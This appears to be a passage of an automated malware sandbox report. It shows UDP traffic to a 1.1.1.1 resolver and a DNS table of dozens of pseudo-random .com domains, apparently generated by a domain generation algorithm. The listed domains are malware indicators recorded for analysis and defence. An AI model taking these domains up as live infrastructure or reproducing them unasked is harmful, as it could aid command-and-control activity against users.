                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370316029 CET6296953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.370970964 CET5108953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371172905 CET53497921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371392965 CET4934953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.371628046 CET5172853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374010086 CET53620821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374042988 CET53516981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374078989 CET53634131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374277115 CET5820353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.374516010 CET6515153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.375988007 CET4981953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.376708984 CET4991053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377469063 CET5509653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377526999 CET5612153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377697945 CET5573353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377720118 CET4992453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377888918 CET6432853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.377984047 CET53510891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.378844976 CET53642301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.378947020 CET53512721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.379409075 CET53532871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.379667044 CET53538541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.380871058 CET53522561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.381411076 CET53582031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.381587029 CET53517281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.385986090 CET53498191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.386380911 CET53550961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.387008905 CET53557331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.387911081 CET53561211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.389161110 CET5439553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.389869928 CET5523053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390172005 CET5148053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390633106 CET6052853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390719891 CET5406153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390810966 CET6406353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390923977 CET5968053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.390973091 CET5777653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.393615961 CET5682653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394156933 CET5479053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394202948 CET5329253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394395113 CET5908653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.394469023 CET6540953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.395459890 CET53539401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.395951033 CET53624931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.398183107 CET53605281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.399776936 CET6095253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401374102 CET53547901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401426077 CET53540611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401626110 CET53654091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.401925087 CET53493491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.402431011 CET53495611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.403537035 CET53568261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404320955 CET5915553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404335976 CET5768453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.404441118 CET53514801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.406949997 CET53499101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.408780098 CET53609521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.408795118 CET53643281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.414619923 CET53591551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.419230938 CET53543951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.420999050 CET53577761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421703100 CET53552301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421833038 CET53640631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.421978951 CET53596801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.425667048 CET53532921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.435834885 CET53576841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.505532026 CET53569761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.511306047 CET53576971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.525607109 CET53565981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.527156115 CET53655201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.558777094 CET53539041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.572365999 CET53629691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.572623014 CET53510421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.581875086 CET53590861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.595557928 CET53651511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.625622034 CET53499241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.864609957 CET5974153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:52.887693882 CET53597411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.559526920 CET6503553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.559528112 CET6204253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.570791006 CET5504653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.571510077 CET5018453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.574357986 CET4950453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.575880051 CET5153453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.575880051 CET4985953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.576816082 CET5940253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.577622890 CET5260053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.577775002 CET6425053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.578773975 CET5370053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.580812931 CET5050653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.580812931 CET5529653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.581500053 CET5811053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.582324982 CET4924053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.582324982 CET5104153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.582788944 CET5794553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.584439039 CET6396953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.584439039 CET5904453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.585284948 CET5976353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.588001966 CET5758153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.590327024 CET6001953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.591521025 CET5684053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.592483997 CET6451353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.594722033 CET5608253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.596915007 CET5819753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.598718882 CET5133853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.598718882 CET5277753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.599855900 CET5940853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.601552010 CET5694453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.604542971 CET5489753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.604862928 CET6138453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.606789112 CET6491953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.606925964 CET5151953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.610119104 CET6498353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.610119104 CET5455053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.612088919 CET4922653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.612088919 CET5784853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.613431931 CET5451253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.613432884 CET5385653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.615137100 CET5823653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.616738081 CET5128653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.618119955 CET6418153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.619657040 CET6130753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.620714903 CET5505853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.621684074 CET6370153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.623671055 CET5519753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.624412060 CET6098653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.625715971 CET5293753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.625715971 CET5341253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.628927946 CET5739853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.628927946 CET5774953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.630393982 CET4991053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.632217884 CET5545553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.632217884 CET6406253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.633241892 CET5823953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.634788990 CET5121053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.635451078 CET6149453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.636904955 CET5751453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.636904955 CET6267253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.638010025 CET4998853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.638969898 CET5442753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.640263081 CET5314153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.640485048 CET5288353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806469917 CET53515341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806592941 CET53552961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806806087 CET53581101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.806890965 CET53597631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807117939 CET53501841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807141066 CET53513381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807177067 CET53650351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807362080 CET53575811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807384968 CET53512861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807432890 CET53649191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807442904 CET53579451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807616949 CET53538561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807627916 CET53649831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807637930 CET53560821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807748079 CET53515191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807758093 CET53573981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807786942 CET53577491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.807900906 CET53499101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808085918 CET53528831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808137894 CET53568401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808146954 CET53534121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808161974 CET53641811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808198929 CET53505061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808321953 CET53613071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808532000 CET53531411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808554888 CET53637011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808638096 CET53645131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808648109 CET53527771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808656931 CET53499881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808685064 CET53537001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808734894 CET53613841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808782101 CET53609861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.808814049 CET53582391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809271097 CET53492261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809505939 CET53582361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809515953 CET53529371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.809524059 CET53544271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810081005 CET53640621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810411930 CET53569441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.810648918 CET53614941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.812470913 CET53594021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.818805933 CET53550461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.826658010 CET53498591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827747107 CET53600191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827841997 CET53578481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.827964067 CET53548971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828227997 CET53510411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828272104 CET53526001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828310966 CET53590441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828344107 CET53495041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.828890085 CET53492401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829096079 CET53545121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829107046 CET53554551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829121113 CET53545501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829132080 CET53642501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829169989 CET53581971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829488039 CET53575141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.829591990 CET53594081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.830410004 CET53551971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.831507921 CET53626721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:59.836481094 CET53550581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.000912905 CET53512101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.009227991 CET53639691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:15:00.376717091 CET53620421.1.1.1192.168.2.6

                                                                                                                                                                                                          DNS Queries

                                                                                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.481395960 CET192.168.2.61.1.1.10x1342Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.481751919 CET192.168.2.61.1.1.10xe520Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482038021 CET192.168.2.61.1.1.10xec54Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482369900 CET192.168.2.61.1.1.10xb947Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.482758045 CET192.168.2.61.1.1.10x1f6dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.483153105 CET192.168.2.61.1.1.10x5db6Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.488621950 CET192.168.2.61.1.1.10xce56Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.490200043 CET192.168.2.61.1.1.10xfa3Standard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.491722107 CET192.168.2.61.1.1.10xc447Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.493396044 CET192.168.2.61.1.1.10x5d4Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.494980097 CET192.168.2.61.1.1.10x6e7eStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.496607065 CET192.168.2.61.1.1.10x3ea7Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.497773886 CET192.168.2.61.1.1.10x51a1Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.499360085 CET192.168.2.61.1.1.10xde63Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.500377893 CET192.168.2.61.1.1.10x7b8dStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.529314041 CET192.168.2.61.1.1.10x3295Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.531327963 CET192.168.2.61.1.1.10x3f7eStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.550781965 CET192.168.2.61.1.1.10x4680Standard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.551907063 CET192.168.2.61.1.1.10x5bd5Standard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.581959963 CET192.168.2.61.1.1.10xd619Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.597763062 CET192.168.2.61.1.1.10xdfebStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.599937916 CET192.168.2.61.1.1.10x7fd8Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.600162029 CET192.168.2.61.1.1.10x5cbeStandard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.629055023 CET192.168.2.61.1.1.10x6383Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.629107952 CET192.168.2.61.1.1.10xd69bStandard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.660089970 CET192.168.2.61.1.1.10x6265Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.660089970 CET192.168.2.61.1.1.10x78bbStandard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.691600084 CET192.168.2.61.1.1.10x66e1Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.691600084 CET192.168.2.61.1.1.10xbbf2Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.722234011 CET192.168.2.61.1.1.10xb32Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.722274065 CET192.168.2.61.1.1.10x5760Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.753813028 CET192.168.2.61.1.1.10x9721Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.754457951 CET192.168.2.61.1.1.10x5babStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.785571098 CET192.168.2.61.1.1.10x4c7Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.785768032 CET192.168.2.61.1.1.10x446cStandard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.816495895 CET192.168.2.61.1.1.10x45f2Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.816895008 CET192.168.2.61.1.1.10x1546Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.847624063 CET192.168.2.61.1.1.10x377bStandard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.847690105 CET192.168.2.61.1.1.10xc575Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.881185055 CET192.168.2.61.1.1.10x6115Standard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.885456085 CET192.168.2.61.1.1.10x8319Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.916687012 CET192.168.2.61.1.1.10x8df3Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.917965889 CET192.168.2.61.1.1.10xf4b8Standard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920185089 CET192.168.2.61.1.1.10x20b1Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920361996 CET192.168.2.61.1.1.10xc064Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920533895 CET192.168.2.61.1.1.10x1b48Standard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.943258047 CET192.168.2.61.1.1.10x966Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.967644930 CET192.168.2.61.1.1.10x8fa4Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.973874092 CET192.168.2.61.1.1.10xe554Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974134922 CET192.168.2.61.1.1.10x2dd2Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974189043 CET192.168.2.61.1.1.10xddc4Standard query (0)lyxywer.comA (IP address)IN (0x0001)false
